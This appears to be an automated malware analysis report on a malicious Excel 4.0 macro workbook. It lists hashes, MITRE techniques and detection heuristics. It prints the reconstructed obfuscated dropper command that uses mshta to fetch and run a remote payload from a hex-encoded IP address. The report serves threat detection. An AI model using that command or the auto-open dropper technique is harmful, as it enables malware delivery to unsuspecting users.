Office (OLE) / .XLS malware analysis — malicious · 1618f3938a558e78

MALICIOUS

Office (OLE) / .XLS

64.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: 0c97b92d4bd21ec7f798fe6069731506 SHA-1: ba145297a2062160a221a6acc8cc678460c1bd7d SHA-256: 1618f3938a558e788e116250a629fa75045aab257449880963e6c41ecfd5999a

100 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel 97-2003 Workbook (.xls) containing Excel 4.0 macros, specifically an Auto_Open macro. This macro is designed to bypass security warnings by displaying a lure to enable editing and content, then executes a command to download a payload from the URL "http://0xc12a24f5/c.html" or "http://0xc12a24f5/cc.html". The obfuscated command string "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html" is reconstructed from the macro's SET.NAME function.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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